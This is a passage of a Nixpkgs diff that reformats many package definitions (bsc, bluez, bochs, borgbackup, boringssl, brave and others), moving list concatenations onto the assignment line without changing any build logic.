+      testsuite/bsc.bsv_examples/AES/makeVecs.pl \
+      testsuite/bsc.bsv_examples/AES/makeVecs192.pl \
+      testsuite/bsc.bsv_examples/AES/makeVecs256.pl \
+      testsuite/bsc.if/split/canonicalize.pl \
+      testsuite/bsc.interra/operators/Arith/generate/gen.pl \
+      testsuite/bsc.interra/operators/Arith/generate/sort.pl \
+      testsuite/bsc.interra/operators/BitSel/generate/gen.pl \
+      testsuite/bsc.interra/operators/BitSel/generate/sort.pl \
+      testsuite/bsc.interra/operators/Logic/generate/gen.pl \
+      testsuite/bsc.interra/operators/Logic/generate/sort.pl \
+      testsuite/bsc.preprocessor/ifdef/iftestcase-perl.pl \
+      testsuite/bsc.verilog/filter/basicinout.pl \
+      testsuite/scripts/collapse.pl \
+      testsuite/scripts/double-directory.pl \
+      testsuite/scripts/process-summary-file.pl \
+      testsuite/scripts/sort-by-time.pl \
+      testsuite/scripts/times-by-directory.pl
+  '';
 
   preBuild = ''
     # allow running bsc to bootstrap
@@ -156,28 +154,27 @@ stdenv.mkDerivation rec {
     zlib
   ];
 
-  nativeBuildInputs =
-    [
-      automake
-      autoconf
-      bison
-      flex
-      ghcWithPackages
-      perl
-      pkg-config
-      tcl
-      makeBinaryWrapper
-    ]
-    ++ lib.optionals withDocs [
-      texliveFull
-      asciidoctor
-    ]
-    ++ lib.optionals stdenv.hostPlatform.isDarwin [
-      # https://github.com/B-Lang-org/bsc/blob/main/src/comp/bsc.hs#L1838
-      # /nix/store/7y0vlsf6l8lr3vjsbrirqrsbx4mwqiwf-cctools-binutils-darwin-1010.6/bin/strip: error: unknown argument '-u'
-      # make[1]: *** [Makefile:97: smoke_test_bluesim] Error 1
-      cctools
-    ];
+  nativeBuildInputs = [
+    automake
+    autoconf
+    bison
+    flex
+    ghcWithPackages
+    perl
+    pkg-config
+    tcl
+    makeBinaryWrapper
+  ]
+  ++ lib.optionals withDocs [
+    texliveFull
+    asciidoctor
+  ]
+  ++ lib.optionals stdenv.hostPlatform.isDarwin [
+    # https://github.com/B-Lang-org/bsc/blob/main/src/comp/bsc.hs#L1838
+    # /nix/store/7y0vlsf6l8lr3vjsbrirqrsbx4mwqiwf-cctools-binutils-darwin-1010.6/bin/strip: error: unknown argument '-u'
+    # make[1]: *** [Makefile:97: smoke_test_bluesim] Error 1
+    cctools
+  ];
 
   env.NIX_CFLAGS_COMPILE = toString (
     lib.optionals (stdenv.cc.isClang) [
@@ -186,31 +183,29 @@ stdenv.mkDerivation rec {
     ]
   );
 
-  makeFlags =
-    [
-      "NO_DEPS_CHECKS=1" # skip the subrepo check (this deriviation uses yices-src instead of the subrepo)
-      "NOGIT=1" # https://github.com/B-Lang-org/bsc/issues/12
-      "LDCONFIG=ldconfig" # https://github.com/SRI-CSL/yices2/blob/fda0a325ea7923f152ea9f9a5d20eddfd1d96224/Makefile.build#L66
-      (if withDocs then "release" else "install-src")
-    ]
-    ++ lib.optionals stubStp [
-      "STP_STUB=1" # uses yices as a SMT solver and stub out STP
-    ];
+  makeFlags = [
+    "NO_DEPS_CHECKS=1" # skip the subrepo check (this deriviation uses yices-src instead of the subrepo)
+    "NOGIT=1" # https://github.com/B-Lang-org/bsc/issues/12
+    "LDCONFIG=ldconfig" # https://github.com/SRI-CSL/yices2/blob/fda0a325ea7923f152ea9f9a5d20eddfd1d96224/Makefile.build#L66
+    (if withDocs then "release" else "install-src")
+  ]
+  ++ lib.optionals stubStp [
+    "STP_STUB=1" # uses yices as a SMT solver and stub out STP
+  ];
 
-  installPhase =
-    ''
-      mkdir -p $out
-      mv inst/bin $out
-      mv inst/lib $out
+  installPhase = ''
+    mkdir -p $out
+    mv inst/bin $out
+    mv inst/lib $out
 
-    ''
-    + lib.optionalString withDocs ''
-      # fragile, I know..
-      mkdir -p $doc/share/doc/bsc
-      mv inst/README $doc/share/doc/bsc
-      mv inst/ReleaseNotes.* $doc/share/doc/bsc
-      mv inst/doc/*.pdf $doc/share/doc/bsc
-    '';
+  ''
+  + lib.optionalString withDocs ''
+    # fragile, I know..
+    mkdir -p $doc/share/doc/bsc
+    mv inst/README $doc/share/doc/bsc
+    mv inst/ReleaseNotes.* $doc/share/doc/bsc
+    mv inst/doc/*.pdf $doc/share/doc/bsc
+  '';
 
   postFixup = ''
     # https://github.com/B-Lang-org/bsc/blob/65e3a87a17f6b9cf38cbb7b6ad7a4473f025c098/src/comp/bsc.hs#L1839
@@ -244,16 +239,15 @@ stdenv.mkDerivation rec {
     withSuiteCheck && stdenv.hostPlatform.isLinux
   ) "${glibcLocales}/lib/locale/locale-archive";
 
-  nativeCheckInputs =
-    [
-      gmp-static
-      iverilog
-    ]
-    ++ lib.optionals withSuiteCheck [
-      time
-      dejagnu # for `/bin/runtest` in `check-suite`
-      gnugrep # `testsuite/bsc.interra/operators/Arith/arith.exp` and more
-    ];
+  nativeCheckInputs = [
+    gmp-static
+    iverilog
+  ]
+  ++ lib.optionals withSuiteCheck [
+    time
+    dejagnu # for `/bin/runtest` in `check-suite`
+    gnugrep # `testsuite/bsc.interra/operators/Arith/arith.exp` and more
+  ];
 
   checkInputs = lib.optionals withSuiteCheck [
     systemc
@@ -296,7 +290,8 @@ stdenv.mkDerivation rec {
     platforms = [
       "aarch64-linux"
       "x86_64-linux"
-    ] ++ lib.platforms.darwin;
+    ]
+    ++ lib.platforms.darwin;
     mainProgram = "bsc";
     maintainers = with lib.maintainers; [
       jcumming
diff --git a/pkgs/by-name/bl/bluez-alsa/package.nix b/pkgs/by-name/bl/bluez-alsa/package.nix
index 24fbbc765b66..bc7500df3b5b 100644
--- a/pkgs/by-name/bl/bluez-alsa/package.nix
+++ b/pkgs/by-name/bl/bluez-alsa/package.nix
@@ -39,20 +39,19 @@ stdenv.mkDerivation (finalAttrs: {
     python3
   ];
 
-  buildInputs =
-    [
-      alsa-lib
-      bluez
-      glib
-      sbc
-      dbus
-      readline
-      libbsd
-      ncurses
-    ]
-    ++ lib.optionals aacSupport [
-      fdk_aac
-    ];
+  buildInputs = [
+    alsa-lib
+    bluez
+    glib
+    sbc
+    dbus
+    readline
+    libbsd
+    ncurses
+  ]
+  ++ lib.optionals aacSupport [
+    fdk_aac
+  ];
 
   configureFlags = [
     (lib.enableFeature aacSupport "aac")
diff --git a/pkgs/by-name/bl/bluez/package.nix b/pkgs/by-name/bl/bluez/package.nix
index f9d8d0cadba9..516a8ae7d199 100644
--- a/pkgs/by-name/bl/bluez/package.nix
+++ b/pkgs/by-name/bl/bluez/package.nix
@@ -56,34 +56,34 @@ stdenv.mkDerivation (finalAttrs: {
   outputs = [
     "out"
     "dev"
-  ] ++ lib.optional installTests "test";
+  ]
+  ++ lib.optional installTests "test";
 
-  postPatch =
+  postPatch = ''
+    substituteInPlace tools/hid2hci.rules \
+      --replace-fail /sbin/udevadm ${systemdMinimal}/bin/udevadm \
+      --replace-fail "hid2hci " "$out/lib/udev/hid2hci "
+  ''
+  +
+    # Disable some tests:
+    # - test-mesh-crypto depends on the following kernel settings:
+    #   CONFIG_CRYPTO_[USER|USER_API|USER_API_AEAD|USER_API_HASH|AES|CCM|AEAD|CMAC]
+    # - test-vcp is flaky (?), see:
+    #     - https://github.com/bluez/bluez/issues/683
+    #     - https://github.com/bluez/bluez/issues/726
     ''
-      substituteInPlace tools/hid2hci.rules \
-        --replace-fail /sbin/udevadm ${systemdMinimal}/bin/udevadm \
-        --replace-fail "hid2hci " "$out/lib/udev/hid2hci "
-    ''
-    +
-      # Disable some tests:
-      # - test-mesh-crypto depends on the following kernel settings:
-      #   CONFIG_CRYPTO_[USER|USER_API|USER_API_AEAD|USER_API_HASH|AES|CCM|AEAD|CMAC]
-      # - test-vcp is flaky (?), see:
-      #     - https://github.com/bluez/bluez/issues/683
-      #     - https://github.com/bluez/bluez/issues/726
-      ''
-        skipTest() {
-          if [[ ! -f unit/$1.c ]]; then
-            echo "unit/$1.c no longer exists"
-            false
-          fi
+      skipTest() {
+        if [[ ! -f unit/$1.c ]]; then
+          echo "unit/$1.c no longer exists"
+          false
+        fi
 
-          echo 'int main() { return 77; }' > unit/$1.c
-        }
+        echo 'int main() { return 77; }' > unit/$1.c
+      }
 
-        skipTest test-mesh-crypto
-        skipTest test-vcp
-      '';
+      skipTest test-mesh-crypto
+      skipTest test-vcp
+    '';
 
   configureFlags = [
     "--localstatedir=/var"
diff --git a/pkgs/by-name/bm/bmake/package.nix b/pkgs/by-name/bm/bmake/package.nix
index 6312e990bb95..74c546e1e84f 100644
--- a/pkgs/by-name/bm/bmake/package.nix
+++ b/pkgs/by-name/bm/bmake/package.nix
@@ -36,14 +36,13 @@ stdenv.mkDerivation (finalAttrs: {
     getopt
   ];
 
-  nativeCheckInputs =
-    [
-      bc
-      tzdata
-    ]
-    ++ lib.optionals (stdenv.hostPlatform.libc != "musl") [
-      ksh
-    ];
+  nativeCheckInputs = [
+    bc
+    tzdata
+  ]
+  ++ lib.optionals (stdenv.hostPlatform.libc != "musl") [
+    ksh
+  ];
 
   # The generated makefile is a small wrapper for calling ./boot-strap with a
   # given op. On a case-insensitive filesystem this generated makefile clobbers
diff --git a/pkgs/by-name/bm/bmon/package.nix b/pkgs/by-name/bm/bmon/package.nix
index 49dfc9e71fad..01f0d49323fb 100644
--- a/pkgs/by-name/bm/bmon/package.nix
+++ b/pkgs/by-name/bm/bmon/package.nix
@@ -39,7 +39,8 @@ stdenv.mkDerivation rec {
   buildInputs = [
     ncurses
     libconfuse
-  ] ++ lib.optional stdenv.hostPlatform.isLinux libnl;
+  ]
+  ++ lib.optional stdenv.hostPlatform.isLinux libnl;
 
   preConfigure = ''
     # Must be an absolute path
diff --git a/pkgs/by-name/bn/bngblaster/package.nix b/pkgs/by-name/bn/bngblaster/package.nix
index 59509c3cd12c..e4a15453148d 100644
--- a/pkgs/by-name/bn/bngblaster/package.nix
+++ b/pkgs/by-name/bn/bngblaster/package.nix
@@ -30,7 +30,8 @@ stdenv.mkDerivation (finalAttrs: {
     jansson
     openssl
     cmocka
-  ] ++ lib.optionals finalAttrs.finalPackage.doCheck [ libpcap ];
+  ]
+  ++ lib.optionals finalAttrs.finalPackage.doCheck [ libpcap ];
 
   cmakeFlags = [
     "-DBNGBLASTER_TESTS=${if finalAttrs.finalPackage.doCheck then "ON" else "OFF"}"
diff --git a/pkgs/by-name/bo/bochs/package.nix b/pkgs/by-name/bo/bochs/package.nix
index a28522dce7dd..2f1bff69b415 100644
--- a/pkgs/by-name/bo/bochs/package.nix
+++ b/pkgs/by-name/bo/bochs/package.nix
@@ -40,107 +40,105 @@ stdenv.mkDerivation (finalAttrs: {
     pkg-config
   ];
 
-  buildInputs =
-    [
-      curl
-      readline
-      wget
-    ]
-    ++ lib.optionals enableSDL2 [
-      SDL2
-    ]
-    ++ lib.optionals enableTerm [
-      ncurses
-    ]
-    ++ lib.optionals enableWx [
-      gtk3
-      wxGTK32
-    ]
-    ++ lib.optionals enableX11 [
-      libGL
-      libGLU
-      libX11
-      libXpm
-    ];
+  buildInputs = [
+    curl
+    readline
+    wget
+  ]
+  ++ lib.optionals enableSDL2 [
+    SDL2
+  ]
+  ++ lib.optionals enableTerm [
+    ncurses
+  ]
+  ++ lib.optionals enableWx [
+    gtk3
+    wxGTK32
+  ]
+  ++ lib.optionals enableX11 [
+    libGL
+    libGLU
+    libX11
+    libXpm
+  ];
 
-  configureFlags =
-    [
-      (lib.withFeature false "rfb")
-      (lib.withFeature false "vncsrv")
-      (lib.withFeature true "nogui")
+  configureFlags = [
+    (lib.withFeature false "rfb")
+    (lib.withFeature false "vncsrv")
+    (lib.withFeature true "nogui")
 
-      # These will always be "yes" on NixOS
-      (lib.enableFeature true "ltdl-install")
-      (lib.enableFeature true "readline")
-      (lib.enableFeature true "all-optimizations")
-      (lib.enableFeature true "logging")
-      (lib.enableFeature true "xpm")
+    # These will always be "yes" on NixOS
+    (lib.enableFeature true "ltdl-install")
+    (lib.enableFeature true "readline")
+    (lib.enableFeature true "all-optimizations")
+    (lib.enableFeature true "logging")
+    (lib.enableFeature true "xpm")
 
-      # ... whereas these, always "no"!
-      (lib.enableFeature false "cpp")
-      (lib.enableFeature false "instrumentation")
+    # ... whereas these, always "no"!
+    (lib.enableFeature false "cpp")
+    (lib.enableFeature false "instrumentation")
 
-      (lib.enableFeature false "docbook") # Broken - it requires docbook2html
+    (lib.enableFeature false "docbook") # Broken - it requires docbook2html
 
-      # Dangerous options - they are marked as "incomplete/experimental" on Bochs documentation
-      (lib.enableFeature false "3dnow")
-      (lib.enableFeature false "monitor-mwait")
-      (lib.enableFeature false "raw-serial")
+    # Dangerous options - they are marked as "incomplete/experimental" on Bochs documentation
+    (lib.enableFeature false "3dnow")
+    (lib.enableFeature false "monitor-mwait")
+    (lib.enableFeature false "raw-serial")
 
-      # These are completely configurable, and they don't depend of external tools
-      (lib.enableFeature true "a20-pin")
-      (lib.enableFeature true "avx")
-      (lib.enableFeature true "busmouse")
-      (lib.enableFeature true "cdrom")
-      (lib.enableFeature true "clgd54xx")
-      (lib.enableFeature true "configurable-msrs")
-      (lib.enableFeatureAs true "cpu-level" "6") # from 3 to 6
-      (lib.enableFeature true "debugger") # conflicts with gdb-stub option
-      (lib.enableFeature true "debugger-gui")
-      (lib.enableFeature true "evex")
-      (lib.enableFeature true "fpu")
-      (lib.enableFeature false "gdb-stub") # conflicts with debugger option
-      (lib.enableFeature true "handlers-chaining")
-      (lib.enableFeature true "idle-hack")
-      (lib.enableFeature true "iodebug")
-      (lib.enableFeature true "large-ramfile")
-      (lib.enableFeature true "largefile")
-      (lib.enableFeature true "pci")
-      (lib.enableFeature true "repeat-speedups")
-      (lib.enableFeature true "show-ips")
-      (lib.enableFeature true "smp")
-      (lib.enableFeatureAs true "vmx" "2")
-      (lib.enableFeature true "svm")
-      (lib.enableFeature true "trace-linking")
-      (lib.enableFeature true "usb")
-      (lib.enableFeature true "usb-ehci")
-      (lib.enableFeature true "usb-ohci")
-      (lib.enableFeature true "usb-xhci")
-      (lib.enableFeature true "voodoo")
-      (lib.enableFeature true "x86-64")
-      (lib.enableFeature true "x86-debugger")
-    ]
-    ++ lib.optionals enableSDL2 [
-      (lib.withFeature true "sdl2")
-    ]
-    ++ lib.optionals enableTerm [
-      (lib.withFeature true "term")
-    ]
-    ++ lib.optionals enableWx [
-      (lib.withFeature true "wx")
-    ]
-    ++ lib.optionals enableX11 [
-      (lib.withFeature true "x")
-      (lib.withFeature true "x11")
-    ]
-    ++ lib.optionals (!stdenv.hostPlatform.isDarwin) [
-      (lib.enableFeature true "e1000")
-      (lib.enableFeature true "es1370")
-      (lib.enableFeature true "ne2000")
-      (lib.enableFeature true "plugins")
-      (lib.enableFeature true "pnic")
-      (lib.enableFeature true "sb16")
-    ];
+    # These are completely configurable, and they don't depend of external tools
+    (lib.enableFeature true "a20-pin")
+    (lib.enableFeature true "avx")
+    (lib.enableFeature true "busmouse")
+    (lib.enableFeature true "cdrom")
+    (lib.enableFeature true "clgd54xx")
+    (lib.enableFeature true "configurable-msrs")
+    (lib.enableFeatureAs true "cpu-level" "6") # from 3 to 6
+    (lib.enableFeature true "debugger") # conflicts with gdb-stub option
+    (lib.enableFeature true "debugger-gui")
+    (lib.enableFeature true "evex")
+    (lib.enableFeature true "fpu")
+    (lib.enableFeature false "gdb-stub") # conflicts with debugger option
+    (lib.enableFeature true "handlers-chaining")
+    (lib.enableFeature true "idle-hack")
+    (lib.enableFeature true "iodebug")
+    (lib.enableFeature true "large-ramfile")
+    (lib.enableFeature true "largefile")
+    (lib.enableFeature true "pci")
+    (lib.enableFeature true "repeat-speedups")
+    (lib.enableFeature true "show-ips")
+    (lib.enableFeature true "smp")
+    (lib.enableFeatureAs true "vmx" "2")
+    (lib.enableFeature true "svm")
+    (lib.enableFeature true "trace-linking")
+    (lib.enableFeature true "usb")
+    (lib.enableFeature true "usb-ehci")
+    (lib.enableFeature true "usb-ohci")
+    (lib.enableFeature true "usb-xhci")
+    (lib.enableFeature true "voodoo")
+    (lib.enableFeature true "x86-64")
+    (lib.enableFeature true "x86-debugger")
+  ]
+  ++ lib.optionals enableSDL2 [
+    (lib.withFeature true "sdl2")
+  ]
+  ++ lib.optionals enableTerm [
+    (lib.withFeature true "term")
+  ]
+  ++ lib.optionals enableWx [
+    (lib.withFeature true "wx")
+  ]
+  ++ lib.optionals enableX11 [
+    (lib.withFeature true "x")
+    (lib.withFeature true "x11")
+  ]
+  ++ lib.optionals (!stdenv.hostPlatform.isDarwin) [
+    (lib.enableFeature true "e1000")
+    (lib.enableFeature true "es1370")
+    (lib.enableFeature true "ne2000")
+    (lib.enableFeature true "plugins")
+    (lib.enableFeature true "pnic")
+    (lib.enableFeature true "sb16")
+  ];
 
   enableParallelBuilding = true;
 
diff --git a/pkgs/by-name/bo/boehmgc/package.nix b/pkgs/by-name/bo/boehmgc/package.nix
index dbd575ea4b6b..69bc48b1c852 100644
--- a/pkgs/by-name/bo/boehmgc/package.nix
+++ b/pkgs/by-name/bo/boehmgc/package.nix
@@ -32,14 +32,13 @@ stdenv.mkDerivation (finalAttrs: {
     autoreconfHook
   ];
 
-  configureFlags =
-    [
-      "--enable-cplusplus"
-      "--with-libatomic-ops=none"
-    ]
-    ++ lib.optional enableStatic "--enable-static"
-    ++ lib.optional enableMmap "--enable-mmap"
-    ++ lib.optional enableLargeConfig "--enable-large-config";
+  configureFlags = [
+    "--enable-cplusplus"
+    "--with-libatomic-ops=none"
+  ]
+  ++ lib.optional enableStatic "--enable-static"
+  ++ lib.optional enableMmap "--enable-mmap"
+  ++ lib.optional enableLargeConfig "--enable-large-config";
 
   # This stanza can be dropped when a release fixes this issue:
   #   https://github.com/ivmai/bdwgc/issues/376
diff --git a/pkgs/by-name/bo/bolt-launcher/package.nix b/pkgs/by-name/bo/bolt-launcher/package.nix
index f2c01aceb329..124f1b48eb9e 100644
--- a/pkgs/by-name/bo/bolt-launcher/package.nix
+++ b/pkgs/by-name/bo/bolt-launcher/package.nix
@@ -66,15 +66,14 @@ let
       jdk17
     ];
 
-    cmakeFlags =
-      [
-        "-D CMAKE_BUILD_TYPE=Release"
-        "-D BOLT_LUAJIT_INCLUDE_DIR=${luajit}/include"
-        "-G Ninja"
-      ]
-      ++ lib.optionals (stdenv.hostPlatform.isAarch64) [
-        (lib.cmakeFeature "PROJECT_ARCH" "arm64")
-      ];
+    cmakeFlags = [
+      "-D CMAKE_BUILD_TYPE=Release"
+      "-D BOLT_LUAJIT_INCLUDE_DIR=${luajit}/include"
+      "-G Ninja"
+    ]
+    ++ lib.optionals (stdenv.hostPlatform.isAarch64) [
+      (lib.cmakeFeature "PROJECT_ARCH" "arm64")
+    ];
 
     preConfigure = ''
       mkdir -p cef
diff --git a/pkgs/by-name/bo/boofuzz/package.nix b/pkgs/by-name/bo/boofuzz/package.nix
index 22a8a0d26859..dc23840fcd0b 100644
--- a/pkgs/by-name/bo/boofuzz/package.nix
+++ b/pkgs/by-name/bo/boofuzz/package.nix
@@ -42,16 +42,15 @@ python3.pkgs.buildPythonApplication rec {
     pytestCheckHook
   ];
 
-  disabledTests =
-    [
-      "TestNetworkMonitor"
-      "TestNoResponseFailure"
-      "TestProcessMonitor"
-      "TestSocketConnection"
-    ]
-    ++ lib.optionals stdenv.hostPlatform.isDarwin [
-      "test_time_repeater"
-    ];
+  disabledTests = [
+    "TestNetworkMonitor"
+    "TestNoResponseFailure"
+    "TestProcessMonitor"
+    "TestSocketConnection"
+  ]
+  ++ lib.optionals stdenv.hostPlatform.isDarwin [
+    "test_time_repeater"
+  ];
 
   pythonImportsCheck = [
     "boofuzz"
diff --git a/pkgs/by-name/bo/boolector/package.nix b/pkgs/by-name/bo/boolector/package.nix
index d9c6d5de82cc..072fb079a63c 100644
--- a/pkgs/by-name/bo/boolector/package.nix
+++ b/pkgs/by-name/bo/boolector/package.nix
@@ -45,7 +45,8 @@ stdenv.mkDerivation rec {
     "-DBUILD_SHARED_LIBS=ON"
     "-DUSE_LINGELING=YES"
     "-DBtor2Tools_INCLUDE_DIR=${btor2tools.dev}/include/btor2parser"
-  ] ++ (lib.optional (gmp != null) "-DUSE_GMP=YES");
+  ]
+  ++ (lib.optional (gmp != null) "-DUSE_GMP=YES");
 
   nativeCheckInputs = [ python3 ];
   doCheck = true;
diff --git a/pkgs/by-name/bo/bore/package.nix b/pkgs/by-name/bo/bore/package.nix
index 6b1c58f072a2..97f1fea7f86a 100644
--- a/pkgs/by-name/bo/bore/package.nix
+++ b/pkgs/by-name/bo/bore/package.nix
@@ -36,7 +36,8 @@ rustPlatform.buildRustPackage rec {
 
   nativeBuildInputs = [
     installShellFiles
-  ] ++ lib.optional stdenv.hostPlatform.isDarwin rustPlatform.bindgenHook;
+  ]
+  ++ lib.optional stdenv.hostPlatform.isDarwin rustPlatform.bindgenHook;
 
   postInstall = ''
     installManPage $src/bore/doc/bore.1
diff --git a/pkgs/by-name/bo/borgbackup/package.nix b/pkgs/by-name/bo/borgbackup/package.nix
index afcc6d71902d..a4ac4d874e14 100644
--- a/pkgs/by-name/bo/borgbackup/package.nix
+++ b/pkgs/by-name/bo/borgbackup/package.nix
@@ -57,17 +57,16 @@ python.pkgs.buildPythonApplication rec {
     "man"
   ];
 
-  buildInputs =
-    [
-      libb2
-      lz4
-      xxHash
-      zstd
-      openssl
-    ]
-    ++ lib.optionals stdenv.hostPlatform.isLinux [
-      acl
-    ];
+  buildInputs = [
+    libb2
+    lz4
+    xxHash
+    zstd
+    openssl
+  ]
+  ++ lib.optionals stdenv.hostPlatform.isLinux [
+    acl
+  ];
 
   dependencies = with python.pkgs; [
     msgpack
diff --git a/pkgs/by-name/bo/borgmatic/package.nix b/pkgs/by-name/bo/borgmatic/package.nix
index 6735957f3ea6..4c09fb1677d4 100644
--- a/pkgs/by-name/bo/borgmatic/package.nix
+++ b/pkgs/by-name/bo/borgmatic/package.nix
@@ -56,22 +56,21 @@ python3Packages.buildPythonApplication rec {
     apprise = [ python3Packages.apprise ];
   };
 
-  postInstall =
-    ''
-      installShellCompletion --cmd borgmatic \
-        --bash <($out/bin/borgmatic --bash-completion)
-    ''
-    + lib.optionalString enableSystemd ''
-      mkdir -p $out/lib/systemd/system
-      cp sample/systemd/borgmatic.timer $out/lib/systemd/system/
-      # there is another "sleep", so choose the one with the space after it
-      # due to https://github.com/borgmatic-collective/borgmatic/commit/2e9f70d49647d47fb4ca05f428c592b0e4319544
-      substitute sample/systemd/borgmatic.service \
-                 $out/lib/systemd/system/borgmatic.service \
-                 --replace /root/.local/bin/borgmatic $out/bin/borgmatic \
-                 --replace systemd-inhibit ${systemd}/bin/systemd-inhibit \
-                 --replace "sleep " "${coreutils}/bin/sleep "
-    '';
+  postInstall = ''
+    installShellCompletion --cmd borgmatic \
+      --bash <($out/bin/borgmatic --bash-completion)
+  ''
+  + lib.optionalString enableSystemd ''
+    mkdir -p $out/lib/systemd/system
+    cp sample/systemd/borgmatic.timer $out/lib/systemd/system/
+    # there is another "sleep", so choose the one with the space after it
+    # due to https://github.com/borgmatic-collective/borgmatic/commit/2e9f70d49647d47fb4ca05f428c592b0e4319544
+    substitute sample/systemd/borgmatic.service \
+               $out/lib/systemd/system/borgmatic.service \
+               --replace /root/.local/bin/borgmatic $out/bin/borgmatic \
+               --replace systemd-inhibit ${systemd}/bin/systemd-inhibit \
+               --replace "sleep " "${coreutils}/bin/sleep "
+  '';
 
   passthru.tests = {
     version = testers.testVersion { package = borgmatic; };
diff --git a/pkgs/by-name/bo/boringssl/package.nix b/pkgs/by-name/bo/boringssl/package.nix
index fa45b473b54a..628c374cd3a7 100644
--- a/pkgs/by-name/bo/boringssl/package.nix
+++ b/pkgs/by-name/bo/boringssl/package.nix
@@ -30,13 +30,12 @@ buildGoModule {
 
   # hack to get both go and cmake configure phase
   # (if we use postConfigure then cmake will loop runHook postConfigure)
-  preBuild =
-    ''
-      cmakeConfigurePhase
-    ''
-    + lib.optionalString (stdenv.buildPlatform != stdenv.hostPlatform) ''
-      export GOARCH=$(go env GOHOSTARCH)
-    '';
+  preBuild = ''
+    cmakeConfigurePhase
+  ''
+  + lib.optionalString (stdenv.buildPlatform != stdenv.hostPlatform) ''
+    export GOARCH=$(go env GOHOSTARCH)
+  '';
 
   env.NIX_CFLAGS_COMPILE = toString (
     lib.optionals stdenv.cc.isGNU [
@@ -52,7 +51,8 @@ buildGoModule {
   # CMAKE_OSX_ARCHITECTURES is set to x86_64 by Nix, but it confuses boringssl on aarch64-linux.
   cmakeFlags = [
     "-GNinja"
-  ] ++ lib.optionals (stdenv.hostPlatform.isLinux) [ "-DCMAKE_OSX_ARCHITECTURES=" ];
+  ]
+  ++ lib.optionals (stdenv.hostPlatform.isLinux) [ "-DCMAKE_OSX_ARCHITECTURES=" ];
 
   installPhase = ''
     runHook preInstall
diff --git a/pkgs/by-name/bo/bottles-unwrapped/package.nix b/pkgs/by-name/bo/bottles-unwrapped/package.nix
index 04f2d5927435..c1ebb9b76bc0 100644
--- a/pkgs/by-name/bo/bottles-unwrapped/package.nix
+++ b/pkgs/by-name/bo/bottles-unwrapped/package.nix
@@ -41,20 +41,19 @@ python3Packages.buildPythonApplication rec {
     hash = "sha256-rUS2LRr7NqTvNd706AC/U/QUDcF8tzwkHDuS3R0O1KY=";
   };
 
-  patches =
-    [
-      ./vulkan_icd.patch
-      ./redirect-bugtracker.patch
-      ./remove-flatpak-check.patch
-    ]
-    ++ (
-      if removeWarningPopup then
-        [ ./remove-unsupported-warning.patch ]
-      else
-        [
-          ./warn-unsupported.patch
-        ]
-    );
+  patches = [
+    ./vulkan_icd.patch
+    ./redirect-bugtracker.patch
+    ./remove-flatpak-check.patch
+  ]
+  ++ (
+    if removeWarningPopup then
+      [ ./remove-unsupported-warning.patch ]
+    else
+      [
+        ./warn-unsupported.patch
+      ]
+  );
 
   # https://github.com/bottlesdevs/Bottles/wiki/Packaging
   nativeBuildInputs = [
diff --git a/pkgs/by-name/bo/boxfs/package.nix b/pkgs/by-name/bo/boxfs/package.nix
index b1d699928dbc..111b7c73b4f3 100644
--- a/pkgs/by-name/bo/boxfs/package.nix
+++ b/pkgs/by-name/bo/boxfs/package.nix
@@ -56,7 +56,8 @@ stdenv.mkDerivation {
   buildFlags = [
     "static"
     "CC=${stdenv.cc.targetPrefix}cc"
-  ] ++ lib.optional stdenv.hostPlatform.isDarwin "CFLAGS=-D_BSD_SOURCE";
+  ]
+  ++ lib.optional stdenv.hostPlatform.isDarwin "CFLAGS=-D_BSD_SOURCE";
 
   installPhase = ''
     mkdir -p $out/bin
diff --git a/pkgs/by-name/bo/bozohttpd/package.nix b/pkgs/by-name/bo/bozohttpd/package.nix
index 4ff11c5a66ca..f36598c62775 100644
--- a/pkgs/by-name/bo/bozohttpd/package.nix
+++ b/pkgs/by-name/bo/bozohttpd/package.nix
@@ -34,7 +34,8 @@ stdenv.mkDerivation (finalAttrs: {
   buildInputs = [
     libxcrypt
     openssl
-  ] ++ lib.optionals (luaSupport) [ lua ];
+  ]
+  ++ lib.optionals (luaSupport) [ lua ];
 
   nativeBuildInputs = [
     bmake
diff --git a/pkgs/by-name/br/brainflow/package.nix b/pkgs/by-name/br/brainflow/package.nix
index abaf20e2879f..8c43fe0dcfa9 100644
--- a/pkgs/by-name/br/brainflow/package.nix
+++ b/pkgs/by-name/br/brainflow/package.nix
@@ -37,10 +37,11 @@ stdenv.mkDerivation (finalAttrs: {
     (lib.cmakeBool "BUILD_ONNX" buildONNX)
   ];
 
-  buildInputs =
-    [ dbus ]
-    ++ lib.optional (buildBluetooth || buildBluetoothLowEnergy) bluez
-    ++ lib.optional useLibFTDI libftdi1;
+  buildInputs = [
+    dbus
+  ]
+  ++ lib.optional (buildBluetooth || buildBluetoothLowEnergy) bluez
+  ++ lib.optional useLibFTDI libftdi1;
 
   nativeBuildInputs = [
     cmake
diff --git a/pkgs/by-name/br/brave/make-brave.nix b/pkgs/by-name/br/brave/make-brave.nix
index f8c915290b59..bc95db779d82 100644
--- a/pkgs/by-name/br/brave/make-brave.nix
+++ b/pkgs/by-name/br/brave/make-brave.nix
@@ -94,53 +94,52 @@ let
     escapeShellArg
     ;
 
-  deps =
-    [
-      alsa-lib
-      at-spi2-atk
-      at-spi2-core
-      atk
-      cairo
-      cups
-      dbus
-      expat
-      fontconfig
-      freetype
-      gdk-pixbuf
-      glib
-      gtk3
-      gtk4
-      libdrm
-      libX11
-      libGL
-      libxkbcommon
-      libXScrnSaver
-      libXcomposite
-      libXcursor
-      libXdamage
-      libXext
-      libXfixes
-      libXi
-      libXrandr
-      libXrender
-      libxshmfence
-      libXtst
-      libuuid
-      libgbm
-      nspr
-      nss
-      pango
-      pipewire
-      udev
-      wayland
-      xorg.libxcb
-      zlib
-      snappy
-      libkrb5
-      qt6.qtbase
-    ]
-    ++ optional pulseSupport libpulseaudio
-    ++ optional libvaSupport libva;
+  deps = [
+    alsa-lib
+    at-spi2-atk
+    at-spi2-core
+    atk
+    cairo
+    cups
+    dbus
+    expat
+    fontconfig
+    freetype
+    gdk-pixbuf
+    glib
+    gtk3
+    gtk4
+    libdrm
+    libX11
+    libGL
+    libxkbcommon
+    libXScrnSaver
+    libXcomposite
+    libXcursor
+    libXdamage
+    libXext
+    libXfixes
+    libXi
+    libXrandr
+    libXrender
+    libxshmfence
+    libXtst
+    libuuid
+    libgbm
+    nspr
+    nss
+    pango
+    pipewire
+    udev
+    wayland
+    xorg.libxcb
+    zlib
+    snappy
+    libkrb5
+    qt6.qtbase
+  ]
+  ++ optional pulseSupport libpulseaudio
+  ++ optional libvaSupport libva;
 
   rpath = makeLibraryPath deps + ":" + makeSearchPathOutput "lib" "lib64" deps;
   binpath = makeBinPath deps;
@@ -152,10 +151,11 @@ let
     ]
